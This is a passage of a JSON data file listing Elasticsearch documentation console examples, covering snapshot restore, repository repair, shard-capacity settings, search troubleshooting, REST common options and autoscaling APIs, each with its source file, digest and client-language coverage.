<2>\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":454},"digest":"fd6fdc8fa994dd02cf1177077325304f","lang":"console","found":["ruby"],"source":"POST _snapshot/my_repository/snapshot-20200617/_restore\n{\n \"feature_states\": [ \"geoip\" ],\n \"indices\": \"kibana_sample_data_flights,.ds-my-data-stream-2022.06.17-000001\",\n \"include_aliases\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":467},"digest":"734e2b1d1ca84a305240a449738f0eba","lang":"console","found":["ruby"],"source":"GET _cat/indices?v&index=.ds-my-data-stream-2022.06.17-000001,kibana_sample_data_flightsh=index,status,health"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":475},"digest":"3d6986d5be947ec06c5c49287edf9ce5","lang":"console-result","found":[],"source":"index status health\n.ds-my-data-stream-2022.06.17-000001 open green\nkibana_sample_data_flights open green"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/corrupt-repository.asciidoc","line":69},"digest":"b4d9d5017d42f27281e734e969949623","lang":"console","found":["ruby"],"source":"GET _snapshot/my-repo"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/corrupt-repository.asciidoc","line":77},"digest":"5321a214f7f8d01a114ab7ba81020a1c","lang":"console-result","found":[],"source":"{\n \"my-repo\": { <1>\n \"type\": \"s3\",\n \"settings\": {\n \"bucket\": \"repo-bucket\",\n \"client\": \"elastic-internal-71bcd3\",\n \"base_path\": \"myrepo\"\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/corrupt-repository.asciidoc","line":97},"digest":"06c0db0f42223761e32fa418066b275f","lang":"console","found":[],"source":"PUT _snapshot/my-repo\n{\n \"type\": \"s3\",\n \"settings\": {\n \"bucket\": \"repo-bucket\",\n \"client\": \"elastic-internal-71bcd3\",\n \"base_path\": \"myrepo\",\n \"readonly\": true <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/corrupt-repository.asciidoc","line":116},"digest":"4427517dcd8ec9997541150cdc11a0de","lang":"console","found":["ruby"],"source":"DELETE _snapshot/my-repo"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/corrupt-repository.asciidoc","line":124},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/corrupt-repository.asciidoc","line":140},"digest":"b4d9d5017d42f27281e734e969949623","lang":"console","found":["ruby"],"source":"GET _snapshot/my-repo"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/corrupt-repository.asciidoc","line":147},"digest":"7fbebf0fc9b4a402917a4723ad547c6a","lang":"console","found":[],"source":"PUT _snapshot/my-repo\n{\n \"type\": \"s3\",\n \"settings\": {\n \"bucket\": \"repo-bucket\",\n \"client\": \"elastic-internal-71bcd3\",\n \"base_path\": \"myrepo\"\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/corrupt-repository.asciidoc","line":163},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/repeated-snapshot-failures.asciidoc","line":27},"digest":"624e69dedf42c4877234b87ec1d00068","lang":"console","found":[],"source":"GET _slm/policy/"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/repeated-snapshot-failures.asciidoc","line":35},"digest":"4d3db42ec1555c3f0dfb30a85b415aa3","lang":"console-result","found":[],"source":"{\n \"affected-policy-name\": { <1>\n \"version\": 1,\n \"modified_date\": \"2099-05-06T01:30:00.000Z\",\n \"modified_date_millis\": 4081757400000,\n \"policy\" : {\n \"schedule\": \"0 30 1 * * ?\",\n \"name\": \"\",\n \"repository\": \"my_repository\",\n \"config\": {\n \"indices\": [\"data-*\", \"important\"],\n \"ignore_unavailable\": false,\n \"include_global_state\": false\n },\n \"retention\": {\n \"expire_after\": \"30d\",\n \"min_count\": 5,\n \"max_count\": 50\n }\n },\n \"last_success\" : {\n \"snapshot_name\" : \"daily-snap-2099.05.30-tme_ivjqswgkpryvnao2lg\",\n \"start_time\" : 4083782400000,\n \"time\" : 4083782400000\n },\n \"last_failure\" : { <2>\n \"snapshot_name\" : \"daily-snap-2099.06.16-ywe-kgh5rfqfrpnchvsujq\",\n \"time\" : 4085251200000, <3>\n \"details\" : \"\"\"{\"type\":\"snapshot_exception\",\"reason\":\"[daily-snap-2099.06.16-ywe-kgh5rfqfrpnchvsujq] failed to create snapshot successfully, 5 out of 149 total shards failed\"}\"\"\" <4>\n },\n \"stats\": {\n \"policy\": \"daily-snapshots\",\n \"snapshots_taken\": 0,\n \"snapshots_failed\": 0,\n \"snapshots_deleted\": 0,\n \"snapshot_deletion_failures\": 0\n },\n \"next_execution\": \"2099-06-17T01:30:00.000Z\",\n \"next_execution_millis\": 4085343000000\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/repeated-snapshot-failures.asciidoc","line":105},"digest":"624e69dedf42c4877234b87ec1d00068","lang":"console","found":[],"source":"GET _slm/policy/"}, {"source_location":{"file":"tab-widgets/troubleshooting/snapshot/repeated-snapshot-failures.asciidoc","line":113},"digest":"4d3db42ec1555c3f0dfb30a85b415aa3","lang":"console-result","found":[],"source":"{\n \"affected-policy-name\": { <1>\n \"version\": 1,\n \"modified_date\": \"2099-05-06T01:30:00.000Z\",\n \"modified_date_millis\": 4081757400000,\n \"policy\" : {\n \"schedule\": \"0 30 1 * * ?\",\n \"name\": \"\",\n \"repository\": \"my_repository\",\n \"config\": {\n \"indices\": [\"data-*\", \"important\"],\n \"ignore_unavailable\": false,\n \"include_global_state\": false\n },\n \"retention\": {\n \"expire_after\": \"30d\",\n \"min_count\": 5,\n \"max_count\": 50\n }\n },\n \"last_success\" : {\n \"snapshot_name\" : \"daily-snap-2099.05.30-tme_ivjqswgkpryvnao2lg\",\n \"start_time\" : 4083782400000,\n \"time\" : 4083782400000\n },\n \"last_failure\" : { <2>\n \"snapshot_name\" : \"daily-snap-2099.06.16-ywe-kgh5rfqfrpnchvsujq\",\n \"time\" : 4085251200000, <3>\n \"details\" : \"\"\"{\"type\":\"snapshot_exception\",\"reason\":\"[daily-snap-2099.06.16-ywe-kgh5rfqfrpnchvsujq] failed to create snapshot successfully, 5 out of 149 total shards failed\"}\"\"\" <4>\n },\n \"stats\": {\n \"policy\": \"daily-snapshots\",\n \"snapshots_taken\": 0,\n \"snapshots_failed\": 0,\n \"snapshots_deleted\": 0,\n \"snapshot_deletion_failures\": 0\n },\n \"next_execution\": \"2099-06-17T01:30:00.000Z\",\n \"next_execution_millis\": 4085343000000\n }\n}"}, {"source_location":{"file":"watcher/troubleshooting.asciidoc","line":14},"digest":"2856a5ceff1861aa9a78099f1c517fe7","lang":"console","found":["ruby"],"source":"GET .watches/_mapping"}, {"source_location":{"file":"watcher/troubleshooting.asciidoc","line":29},"digest":"e905543b281e9c41395304da76ed2ea3","lang":"console","found":["ruby"],"source":"DELETE .watches"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":21},"digest":"f45990264f8755b96b11c69c12c90ff4","lang":"console","found":["ruby"],"source":"HEAD my-data-stream"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":29},"digest":"253140cb1e270e5ee23e15dbaeaaa0ea","lang":"console","found":["ruby"],"source":"GET /_data_stream/_stats?human=true"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":37},"digest":"9370e4935ab6678571d3227973b8c830","lang":"console","found":["ruby"],"source":"GET _all?filter_path=*.aliases"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":46},"digest":"83d712b9ffb2e703212b762eba3c521a","lang":"console","found":["ruby"],"source":"GET /my-alias/_search?ignore_unavailable=true"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":84},"digest":"ef3666b5d288faefbcbc4a25e8f506da","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_count"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":101},"digest":"ed6b996ea389e0955a01c2e67f4c8339","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_field_caps?fields=my-field"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":143},"digest":"21715c32c140feeab04b38ff6d6de111","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_mappings"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":153},"digest":"199f5165d876267080046c907e93483f","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_analyze\n{\n \"field\" : \"my-field\",\n \"text\" : \"this is a test\"\n}"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":174},"digest":"89c57917bc7bd2e6387b5eb54ece37b1","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_count\n{\n \"query\": {\n \"exists\": {\n \"field\": \"my-field\"\n }\n }\n}"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":192},"digest":"bcbd4d4749126837723438ff4faeb0f6","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search?filter_path=aggregations\n{\n \"size\": 0,\n \"aggs\": {\n \"top_values\": {\n \"terms\": {\n \"field\": \"my-field\",\n \"size\": 10\n }\n }\n }\n}"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":213},"digest":"26168987f799cdc4ee4151c85ba7afc5","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"my-num-field-stats\": {\n \"stats\": {\n \"field\": \"my-num-field\"\n }\n }\n }\n}"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":240},"digest":"a253a1712953f7292bdd646c48ec7fd2","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search?sort=@timestamp:desc&size=1"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":257},"digest":"75c347b181112d2c4538c01ade903afe","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_validate/query?rewrite=true\n{\n \"query\": {\n \"match\": {\n \"user.id\": {\n \"query\": \"kimchy\",\n \"fuzziness\": \"auto\"\n }\n }\n }\n}"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":276},"digest":"e0fcef99656799de6b88117d56f131e2","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_explain/0\n{\n \"query\" : {\n \"match\" : { \"message\" : \"elasticsearch\" }\n }\n}"}, {"source_location":{"file":"troubleshooting/troubleshooting-searches.asciidoc","line":305},"digest":"e1d6ecab4148b09f4c605474157e7dbd","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":26},"digest":"5797df4b8e71d821a1488cbb63481104","lang":"console","found":["ruby"],"source":"GET _health_report/shards_capacity"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":33},"digest":"d1525f4575ac704dcdf4a69bdcfd5f94","lang":"console-result","found":[],"source":"{\n \"cluster_name\": \"...\",\n \"indicators\": {\n \"shards_capacity\": {\n \"status\": \"yellow\",\n \"symptom\": \"Cluster is close to reaching the configured maximum number of shards for data nodes.\",\n \"details\": {\n \"data\": {\n \"max_shards_in_cluster\": 1000, <1>\n \"current_used_shards\": 988 <2>\n },\n \"frozen\": {\n \"max_shards_in_cluster\": 3000,\n \"current_used_shards\": 0\n }\n },\n \"impacts\": [\n ...\n ],\n \"diagnosis\": [\n ...\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":67},"digest":"96b9289c3c4c6b135ab3386562c4ee8d","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.max_shards_per_node\": 1200\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":86},"digest":"5797df4b8e71d821a1488cbb63481104","lang":"console","found":["ruby"],"source":"GET _health_report/shards_capacity"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":93},"digest":"2e3292fe3ab645da12a5e96157cff635","lang":"console-result","found":[],"source":"{\n \"cluster_name\": \"...\",\n \"indicators\": {\n \"shards_capacity\": {\n \"status\": \"green\",\n \"symptom\": \"The cluster has enough room to add new shards.\",\n \"details\": {\n \"data\": {\n \"max_shards_in_cluster\": 1000\n },\n \"frozen\": {\n \"max_shards_in_cluster\": 3000\n }\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":118},"digest":"3af10fde8138d9d95df127d39d9a0ed2","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.max_shards_per_node\": null\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":135},"digest":"5797df4b8e71d821a1488cbb63481104","lang":"console","found":["ruby"],"source":"GET _health_report/shards_capacity"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":142},"digest":"64e0b312d7662096f8a1676082425dd2","lang":"console-result","found":[],"source":"{\n \"cluster_name\": \"...\",\n \"indicators\": {\n \"shards_capacity\": {\n \"status\": \"yellow\",\n \"symptom\": \"Cluster is close to reaching the configured maximum number of shards for data nodes.\",\n \"details\": {\n \"data\": {\n \"max_shards_in_cluster\": 1000, <1>\n \"current_used_shards\": 988 <2>\n },\n \"frozen\": {\n \"max_shards_in_cluster\": 3000\n }\n },\n \"impacts\": [\n ...\n ],\n \"diagnosis\": [\n ...\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":174},"digest":"96b9289c3c4c6b135ab3386562c4ee8d","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.max_shards_per_node\": 1200\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":191},"digest":"5797df4b8e71d821a1488cbb63481104","lang":"console","found":["ruby"],"source":"GET _health_report/shards_capacity"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":198},"digest":"e8ba57391f3b24a4b1860a578893150b","lang":"console-result","found":[],"source":"{\n \"cluster_name\": \"...\",\n \"indicators\": {\n \"shards_capacity\": {\n \"status\": \"green\",\n \"symptom\": \"The cluster has enough room to add new shards.\",\n \"details\": {\n \"data\": {\n \"max_shards_in_cluster\": 1200\n },\n \"frozen\": {\n \"max_shards_in_cluster\": 3000\n }\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":223},"digest":"3af10fde8138d9d95df127d39d9a0ed2","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.max_shards_per_node\": null\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":256},"digest":"5797df4b8e71d821a1488cbb63481104","lang":"console","found":["ruby"],"source":"GET _health_report/shards_capacity"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":263},"digest":"7409d9055a73dcae63b36230fbf4a383","lang":"console-result","found":[],"source":"{\n \"cluster_name\": \"...\",\n \"indicators\": {\n \"shards_capacity\": {\n \"status\": \"yellow\",\n \"symptom\": \"Cluster is close to reaching the configured maximum number of shards for frozen nodes.\",\n \"details\": {\n \"data\": {\n \"max_shards_in_cluster\": 1000\n },\n \"frozen\": {\n \"max_shards_in_cluster\": 3000, <1>\n \"current_used_shards\": 2998 <2>\n }\n },\n \"impacts\": [\n ...\n ],\n \"diagnosis\": [\n ...\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":296},"digest":"51f6cb682424e110f289af79c106f4c7","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.max_shards_per_node.frozen\": 3200\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":315},"digest":"5797df4b8e71d821a1488cbb63481104","lang":"console","found":["ruby"],"source":"GET _health_report/shards_capacity"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":322},"digest":"60002bbd41921affb35f3658ac6b0c59","lang":"console-result","found":[],"source":"{\n \"cluster_name\": \"...\",\n \"indicators\": {\n \"shards_capacity\": {\n \"status\": \"green\",\n \"symptom\": \"The cluster has enough room to add new shards.\",\n \"details\": {\n \"data\": {\n \"max_shards_in_cluster\": 1000\n },\n \"frozen\": {\n \"max_shards_in_cluster\": 3200\n }\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":347},"digest":"b638e11d6a8a084290f8934d224abd52","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.max_shards_per_node.frozen\": null\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":364},"digest":"5797df4b8e71d821a1488cbb63481104","lang":"console","found":["ruby"],"source":"GET _health_report/shards_capacity"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":369},"digest":"7409d9055a73dcae63b36230fbf4a383","lang":"console-result","found":[],"source":"{\n \"cluster_name\": \"...\",\n \"indicators\": {\n \"shards_capacity\": {\n \"status\": \"yellow\",\n \"symptom\": \"Cluster is close to reaching the configured maximum number of shards for frozen nodes.\",\n \"details\": {\n \"data\": {\n \"max_shards_in_cluster\": 1000\n },\n \"frozen\": {\n \"max_shards_in_cluster\": 3000, <1>\n \"current_used_shards\": 2998 <2>\n }\n },\n \"impacts\": [\n ...\n ],\n \"diagnosis\": [\n ...\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":401},"digest":"51f6cb682424e110f289af79c106f4c7","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.max_shards_per_node.frozen\": 3200\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":418},"digest":"5797df4b8e71d821a1488cbb63481104","lang":"console","found":["ruby"],"source":"GET _health_report/shards_capacity"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":425},"digest":"60002bbd41921affb35f3658ac6b0c59","lang":"console-result","found":[],"source":"{\n \"cluster_name\": \"...\",\n \"indicators\": {\n \"shards_capacity\": {\n \"status\": \"green\",\n \"symptom\": \"The cluster has enough room to add new shards.\",\n \"details\": {\n \"data\": {\n \"max_shards_in_cluster\": 1000\n },\n \"frozen\": {\n \"max_shards_in_cluster\": 3200\n }\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/troubleshooting-shards-capacity.asciidoc","line":450},"digest":"b638e11d6a8a084290f8934d224abd52","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.max_shards_per_node.frozen\": null\n }\n}"}, {"source_location":{"file":"troubleshooting/troubleshooting-unbalanced-cluster.asciidoc","line":20},"digest":"5c7ece1f30267adabdb832424871900a","lang":"console","found":[],"source":"GET /_cat/allocation?v"}, {"source_location":{"file":"troubleshooting/troubleshooting-unbalanced-cluster.asciidoc","line":72},"digest":"b3756e700d0f6c7e8919003bdf26bc8f","lang":"console","found":[],"source":"DELETE /_internal/desired_balance"}, {"source_location":{"file":"api-conventions.asciidoc","line":119},"digest":"fe806011466e7cdc1590da186297edb6","lang":"console","found":["python","ruby"],"source":"# PUT /\nPUT /%3Cmy-index-%7Bnow%2Fd%7D%3E"}, {"source_location":{"file":"api-conventions.asciidoc","line":164},"digest":"a34d70d7022eb4ba48909d440c80390f","lang":"console","found":["php","python","ruby","go","js"],"source":"# GET /,,/_search\nGET /%3Clogstash-%7Bnow%2Fd-2d%7D%3E%2C%3Clogstash-%7Bnow%2Fd-1d%7D%3E%2C%3Clogstash-%7Bnow%2Fd%7D%3E/_search\n{\n \"query\" : {\n \"match\": {\n \"test\": \"data\"\n }\n }\n}"}, {"source_location":{"file":"api-conventions.asciidoc","line":344},"digest":"1147a02afa087278e51fa365fb9e06b7","lang":"console","found":["python"],"source":"POST /_search\n{\n \"size\": \"1000\"\n}"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":74},"digest":"49100a4f53c0ba345fadacdc4f2f86e4","lang":"console","found":["ruby"],"source":"GET /_search?q=kimchy&filter_path=took,hits.hits._id,hits.hits._score"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":82},"digest":"0936e4cc7952b267b16a3b764d4e25ee","lang":"console-result","found":[],"source":"{\n \"took\" : 3,\n \"hits\" : {\n \"hits\" : [\n {\n \"_id\" : \"0\",\n \"_score\" : 1.6375021\n }\n ]\n }\n}"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":102},"digest":"1dbb8cf17fbc45c87c7d2f75f15f9778","lang":"console","found":["php","ruby","go","js"],"source":"GET /_cluster/state?filter_path=metadata.indices.*.stat*"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":110},"digest":"0de18b5a09277a07d434a0263f02fdb4","lang":"console-result","found":[],"source":"{\n \"metadata\" : {\n \"indices\" : {\n \"my-index-000001\": {\"state\": \"open\"}\n }\n }\n}"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":125},"digest":"1252fa45847edba5ec2b2f33da70ec5b","lang":"console","found":["php","ruby","go","js"],"source":"GET /_cluster/state?filter_path=routing_table.indices.**.state"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":133},"digest":"3d84c414bb9c69072273b3f04e254076","lang":"console-result","found":[],"source":"{\n \"routing_table\": {\n \"indices\": {\n \"my-index-000001\": {\n \"shards\": {\n \"0\": [{\"state\": \"STARTED\"}, {\"state\": \"UNASSIGNED\"}]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":150},"digest":"621665fdbd7fc103c09bfeed28b67b1a","lang":"console","found":["php","ruby","go","js"],"source":"GET /_count?filter_path=-_shards"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":158},"digest":"09108f6f3c42ee4bbe387d3c28713174","lang":"console-result","found":[],"source":"{\n \"count\" : 5\n}"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":169},"digest":"1e18a67caf8f06ff2710ec4a8b30f625","lang":"console","found":["php","ruby","go","js"],"source":"GET /_cluster/state?filter_path=metadata.indices.*.state,-metadata.indices.logstash-*"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":177},"digest":"b8f7dbb03a899234b55f36f4d83c8ba0","lang":"console-result","found":[],"source":"{\n \"metadata\" : {\n \"indices\" : {\n \"my-index-000001\" : {\"state\" : \"open\"},\n \"my-index-000002\" : {\"state\" : \"open\"},\n \"my-index-000003\" : {\"state\" : \"open\"}\n }\n }\n}"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":196},"digest":"6464124d1677f4552ddddd95a340ca3a","lang":"console","found":["php","ruby","go","js"],"source":"POST /library/_doc?refresh\n{\"title\": \"Book #1\", \"rating\": 200.1}\nPOST /library/_doc?refresh\n{\"title\": \"Book #2\", \"rating\": 1.7}\nPOST /library/_doc?refresh\n{\"title\": \"Book #3\", \"rating\": 0.1}\nGET /_search?filter_path=hits.hits._source&_source=title&sort=rating:desc"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":207},"digest":"ca0212c413612a028f3405cc29e4ff8a","lang":"console-result","found":[],"source":"{\n \"hits\" : {\n \"hits\" : [ {\n \"_source\":{\"title\":\"Book #1\"}\n }, {\n \"_source\":{\"title\":\"Book #2\"}\n }, {\n \"_source\":{\"title\":\"Book #3\"}\n } ]\n }\n}"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":229},"digest":"fe96ca3b2a559d8411aca7ed5f3854bd","lang":"console","found":["ruby"],"source":"GET my-index-000001/_settings?flat_settings=true"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":237},"digest":"f5248de92ef7044e0aed9fa86dc09257","lang":"console-result","found":[],"source":"{\n \"my-index-000001\" : {\n \"settings\": {\n \"index.number_of_replicas\": \"1\",\n \"index.number_of_shards\": \"1\",\n \"index.creation_date\": \"1474389951325\",\n \"index.uuid\": \"n6gzFZTgS664GUfx0Xrpjw\",\n \"index.version.created\": ...,\n \"index.routing.allocation.include._tier_preference\" : \"data_content\",\n \"index.provided_name\" : \"my-index-000001\"\n }\n }\n}"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":260},"digest":"56f3a6bec7be5a90fb43144c331a5b5a","lang":"console","found":["ruby"],"source":"GET my-index-000001/_settings?flat_settings=false"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":268},"digest":"5ffbcdcdd71cea38de1bd0eacb58255e","lang":"console-result","found":[],"source":"{\n \"my-index-000001\" : {\n \"settings\" : {\n \"index\" : {\n \"number_of_replicas\": \"1\",\n \"number_of_shards\": \"1\",\n \"creation_date\": \"1474389951325\",\n \"uuid\": \"n6gzFZTgS664GUfx0Xrpjw\",\n \"version\": {\n \"created\": ...\n },\n \"routing\": {\n \"allocation\": {\n \"include\": {\n \"_tier_preference\": \"data_content\"\n }\n }\n },\n \"provided_name\" : \"my-index-000001\"\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":342},"digest":"0620a10ff15a2bb3eb489afc24ff0131","lang":"console","found":[],"source":"POST /my-index-000001/_search?size=surprise_me"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":351},"digest":"be8a94d6faacfb7ca0d36d222e0ae4c9","lang":"console-result","found":[],"source":"{\n \"error\" : {\n \"root_cause\" : [\n {\n \"type\" : \"illegal_argument_exception\",\n \"reason\" : \"Failed to parse int parameter [size] with value [surprise_me]\"\n }\n ],\n \"type\" : \"illegal_argument_exception\",\n \"reason\" : \"Failed to parse int parameter [size] with value [surprise_me]\",\n \"caused_by\" : {\n \"type\" : \"number_format_exception\",\n \"reason\" : \"For input string: \\\"surprise_me\\\"\"\n }\n },\n \"status\" : 400\n}"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":374},"digest":"3b05128cba6852e79a905bcdd5a8ebc0","lang":"console","found":[],"source":"POST /my-index-000001/_search?size=surprise_me&error_trace=true"}, {"source_location":{"file":"rest-api/common-options.asciidoc","line":382},"digest":"ddad5df34c874dfe814a44e1e0d57148","lang":"console-result","found":[],"source":"{\n \"error\": {\n \"root_cause\": [\n {\n \"type\": \"illegal_argument_exception\",\n \"reason\": \"Failed to parse int parameter [size] with value [surprise_me]\",\n \"stack_trace\": \"Failed to parse int parameter [size] with value [surprise_me]]; nested: IllegalArgumentException...\"\n }\n ],\n \"type\": \"illegal_argument_exception\",\n \"reason\": \"Failed to parse int parameter [size] with value [surprise_me]\",\n \"stack_trace\": \"java.lang.IllegalArgumentException: Failed to parse int parameter [size] with value [surprise_me]\\n at org.elasticsearch.rest.RestRequest.paramAsInt(RestRequest.java:175)...\",\n \"caused_by\": {\n \"type\": \"number_format_exception\",\n \"reason\": \"For input string: \\\"surprise_me\\\"\",\n \"stack_trace\": \"java.lang.NumberFormatException: For input string: \\\"surprise_me\\\"\\n at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)...\"\n }\n },\n \"status\": 400\n}"}, {"source_location":{"file":"autoscaling/apis/put-autoscaling-policy.asciidoc","line":16},"digest":"2864d04bf99860ed5dbe1458f1ab5f78","lang":"console","found":[],"source":"PUT /_autoscaling/policy/\n{\n \"roles\": [],\n \"deciders\": {\n \"fixed\": {\n }\n }\n}"}, {"source_location":{"file":"autoscaling/apis/put-autoscaling-policy.asciidoc","line":62},"digest":"c765ce78f3605c0e70d213f22aac8a53","lang":"console","found":[],"source":"PUT /_autoscaling/policy/my_autoscaling_policy\n{\n \"roles\" : [ \"data_hot\" ],\n \"deciders\": {\n \"fixed\": {\n }\n }\n}"}, {"source_location":{"file":"autoscaling/apis/put-autoscaling-policy.asciidoc","line":77},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"autoscaling/apis/get-autoscaling-capacity.asciidoc","line":16},"digest":"300576666769b78fa6fa26b232837f81","lang":"console","found":[],"source":"GET /_autoscaling/capacity/"}, {"source_location":{"file":"autoscaling/apis/get-autoscaling-capacity.asciidoc","line":257},"digest":"17566e23c191f1004a2719f2c4242307","lang":"console","found":[],"source":"GET /_autoscaling/capacity"}, {"source_location":{"file":"autoscaling/apis/get-autoscaling-capacity.asciidoc","line":265},"digest":"8f282b2a1d0b917dd575026b9bc8916e","lang":"console-result","found":[],"source":"{\n policies: {}\n}"}, {"source_location":{"file":"autoscaling/apis/delete-autoscaling-policy.asciidoc","line":31},"digest":"50a9623c153cabe64101efb633e10e6c","lang":"console","found":[],"source":"DELETE /_autoscaling/policy/"}, {"source_location":{"file":"autoscaling/apis/delete-autoscaling-policy.asciidoc","line":57},"digest":"b620ef4400d2f660fe2c67835938442c","lang":"console","found":["ruby"],"source":"DELETE /_autoscaling/policy/my_autoscaling_policy"}, 